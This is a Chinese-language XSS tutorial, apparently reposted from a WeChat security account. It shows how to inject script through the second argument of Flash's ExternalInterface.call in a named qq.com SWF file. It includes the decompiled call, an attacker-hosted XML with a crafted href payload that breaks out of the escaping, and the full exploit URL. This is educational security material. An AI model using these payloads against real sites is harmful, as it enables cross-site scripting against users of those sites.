前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

作者头像
渗透攻击红队
发布2019-11-20 11:33:27
6030
发布2019-11-20 11:33:27
举报
文章被收录于专栏:漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

ExternalInterface.call第二个参数

代码语言:javascript
复制
讲完ExternalInterface.call的第一个参数,我们接着来讲第“2”个参数,之所以2打上引号,因为 call 函数的原型是:call(functionName:String, ... arguments):*, 即后面可以有很多很多个参数,我们统称为第2个参数。有时候我们会遇到ExternalInterface.call("xxxxx","可控内容");的情况,那么这种情况下,如何构造XSS呢?

1. 有了上一节教程的基础,这次我们直接见实例。 通过GOOGLE搜索,site:qq.com filetype:swf inurl:xml 我们可以找到以下FLASH。 http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 2. 借鉴上上节教程的思路,我们可以看看http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml里是个什么内容。

3. 好像看不出来是个啥用途,我们反编译FLASH文件。

4. 接着我们先看看是否有getURL, ExternalInterface.call之类的。

可以看到,我们搜索到的是下面这句:

代码语言:javascript
复制
flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);

那么call的第一个参数是被限定死了~,第2个参数为 menu_array[_local2].href, 如果你对AS有一点了解,不难看出menu_array是一个数组,那么_local2应该就是数组的下标, 而从单词含义“菜单数组”我们不难联想到上面xml文件里的数据。

5. 换句话说,这里我们的可以控制call的第2个参数。同教程14中的方法,我们下载下来http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml。先做点修改,然后上传到自己网站上。 我们将代码里日志那一行的href改掉。

代码语言:javascript
复制
<menu name="日  志" href="\&quot;,alert(1)" />

上传修改后的文件,同时记得将crossdomain.xml上传至自己的网站根目录下哦~~(见教程14) 6. 接着我们载入我们自己指定的XML文件。 http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml 7. 接着我们打开Firefox浏览器。有人会问,你怎么突然要用Firefox啊!疯了么!!同志们,我没疯,只是因为FF可以捕获到这里的错误,而chrome捕获不到! 我们打开Firefox后, 访问上面的地址,点击【日志】按钮!! Ctrl+shift+J 打开错误控制台!可以看到以下报错!

8. 记性好的朋友,会马上想起上一节里我们说到的。 ExternalInterface.call("函数名","参数1"); 实际上执行的是以下内容,

代码语言:javascript
复制
try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

我们就是从FF这里捕获错误到这点的!(:) 当然也还会有其他方法)。 为什么会出错呢? 我们一起来看看。 9. 当我们点击 【日志】按钮时,会调用。 flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href); 而menu_array[_local2].href 等于 \",alert(1), 进而,我们代入完整的代码,即如下:

代码语言:javascript
复制
try { __flash__toXML(custom_menu_swf("\\",alert(1)")) ; } catch (e) { "<undefined/>"; }

转换过程如下图:

可以看到转换之后,JS代码有点乱,引号到处飞,括号无处寻,因而报错了! 10. 那么我们怎么构造正确的利用代码呢?其实有上一节的知识并不难!

代码语言:javascript
复制
try { __flash__toXML(custom_menu_swf("构造点构造点")) ; } catch (e) { "<undefined/>"; }

首先第一步,要注入自己代码,首先要闭合掉双引号!

代码语言:javascript
复制
try { __flash__toXML(custom_menu_swf("构造点"),alert("构造点")) ; } catch (e) { "<undefined/>"; }

但是从上面转换流程,我们可以看到, " 会变成 \", 即变成了下面的样子,还是突破不出去。

代码语言:javascript
复制
try { __flash__toXML(custom_menu_swf("构造点\"),alert(\"构造点")) ; } catch (e) { "<undefined/>"; }

不过非常庆幸的事情是,这里没有对 \ 进行转义。我们可以通过输入 \" 来构造。JS的字符串里,\ 用 \\ 表示。如下:

代码语言:javascript
复制
try { __flash__toXML(custom_menu_swf("构造点\\"))}catch(e){alert(1)}//构造点")) ; } catch (e) { "<undefined/>"; }

图片分析如下:

11. 罗嗦了这么多,我们把构造点代码,拿出来,插入到XML文件里。注意以下几点: 11.1 最后构造的代码是\\", 实际我们的输入是\",然后由FLASH自己转变为\\"的,因而利用代码里只需要输入\"即可。 11.2 由于在XML的节点属性里,双引号写为 &quot; <menu name="日 志" href="构造点\&quot;))}catch(e){alert(1)}//构造点" /> 12. 再次上传文件。打开

代码语言:javascript
复制
http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml

点击日志,看看效果。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档